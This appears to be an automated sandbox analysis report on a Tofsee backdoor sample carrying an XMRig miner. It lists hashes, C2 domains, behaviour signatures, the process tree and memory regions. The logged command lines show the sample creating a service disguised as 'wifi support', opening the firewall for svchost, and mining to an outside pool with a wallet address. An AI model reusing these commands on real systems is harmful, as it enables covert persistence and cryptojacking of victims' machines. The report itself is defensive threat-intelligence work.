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Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    07/11/2023, 05:36

General

  • Target

    NEAS.d15e72bad1966732249eb9f860d6dcaad2db09541ad67de8eee39febc706aa31.exe

  • Size

    259KB

  • MD5

    2a1390eb5563d733832c473f1109e872

  • SHA1

    44429ef9a32e8ce931eeb541a3863ed6f9727ccb

  • SHA256

    d15e72bad1966732249eb9f860d6dcaad2db09541ad67de8eee39febc706aa31

  • SHA512

    5ac6fcbd42942d7656c651fab7432a0942570afc5068e96e6a7c41a0b504059605052eab306193f686199c1bf739a2af0982bf480b995e55b9e116abd6c8b4e2

  • SSDEEP

    3072:GVXQ37fLJYJqgU5AoFCE+MBVaXAlXxDAVh5lRIxEnU:OQLfL2k7xCE+U6exDAfRq

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NEAS.d15e72bad1966732249eb9f860d6dcaad2db09541ad67de8eee39febc706aa31.exe
    "C:\Users\Admin\AppData\Local\Temp\NEAS.d15e72bad1966732249eb9f860d6dcaad2db09541ad67de8eee39febc706aa31.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pgixyeen\
      2⤵
        PID:3000
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jddvyimy.exe" C:\Windows\SysWOW64\pgixyeen\
        2⤵
          PID:3012
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pgixyeen binPath= "C:\Windows\SysWOW64\pgixyeen\jddvyimy.exe /d\"C:\Users\Admin\AppData\Local\Temp\NEAS.d15e72bad1966732249eb9f860d6dcaad2db09541ad67de8eee39febc706aa31.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pgixyeen "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pgixyeen
          2⤵
          • Launches sc.exe
          PID:2652
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2780
      • C:\Windows\SysWOW64\pgixyeen\jddvyimy.exe
        C:\Windows\SysWOW64\pgixyeen\jddvyimy.exe /d"C:\Users\Admin\AppData\Local\Temp\NEAS.d15e72bad1966732249eb9f860d6dcaad2db09541ad67de8eee39febc706aa31.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2852
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2684
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:848

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jddvyimy.exe

        Filesize

        11.5MB

        MD5

        2b22569fca9382d32b1c9ea3b25c6d52

        SHA1

        12cc2089faf4f4a645bb21dfd4acbbcf972c4a0f

        SHA256

        d37147ad0ab173b0f6c0f63a3b1b5f7a240b26e161c6b2c9fdbc29571bc1cc2c

        SHA512

        7f80de0139dba5a1b0b95c7b641039f7d8608e425de61704fed13387e529a5e2894bd6447b9b21fa006952fd36d2e11a122aaaadac99048c44a3ffd6090a9863

      • C:\Windows\SysWOW64\pgixyeen\jddvyimy.exe

        Filesize

        11.5MB

        MD5

        2b22569fca9382d32b1c9ea3b25c6d52

        SHA1

        12cc2089faf4f4a645bb21dfd4acbbcf972c4a0f

        SHA256

        d37147ad0ab173b0f6c0f63a3b1b5f7a240b26e161c6b2c9fdbc29571bc1cc2c

        SHA512

        7f80de0139dba5a1b0b95c7b641039f7d8608e425de61704fed13387e529a5e2894bd6447b9b21fa006952fd36d2e11a122aaaadac99048c44a3ffd6090a9863

      • memory/848-76-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/848-75-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/848-74-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/848-73-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/848-72-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/848-71-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/848-63-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/848-61-0x0000000000210000-0x0000000000301000-memory.dmp

        Filesize

        964KB

      • memory/2236-4-0x00000000002B0000-0x00000000002C3000-memory.dmp

        Filesize

        76KB

      • memory/2236-6-0x0000000000400000-0x00000000004F3000-memory.dmp

        Filesize

        972KB

      • memory/2236-3-0x0000000000400000-0x00000000004F3000-memory.dmp

        Filesize

        972KB

      • memory/2236-1-0x0000000000580000-0x0000000000680000-memory.dmp

        Filesize

        1024KB

      • memory/2684-37-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-44-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-25-0x0000000001990000-0x0000000001B9F000-memory.dmp

        Filesize

        2.1MB

      • memory/2684-29-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-26-0x00000000001F0000-0x00000000001F6000-memory.dmp

        Filesize

        24KB

      • memory/2684-32-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-33-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-34-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-35-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-36-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2684-38-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-39-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-40-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-41-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-42-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-43-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-22-0x0000000001990000-0x0000000001B9F000-memory.dmp

        Filesize

        2.1MB

      • memory/2684-45-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-46-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-47-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-48-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2684-49-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2684-52-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2684-53-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

      • memory/2684-56-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

      • memory/2684-57-0x0000000000220000-0x0000000000227000-memory.dmp

        Filesize

        28KB

      • memory/2684-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2684-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2684-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2684-14-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2684-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2852-15-0x0000000000400000-0x00000000004F3000-memory.dmp

        Filesize

        972KB

      • memory/2852-11-0x0000000000400000-0x00000000004F3000-memory.dmp

        Filesize

        972KB

      • memory/2852-9-0x00000000005D0000-0x00000000006D0000-memory.dmp

        Filesize

        1024KB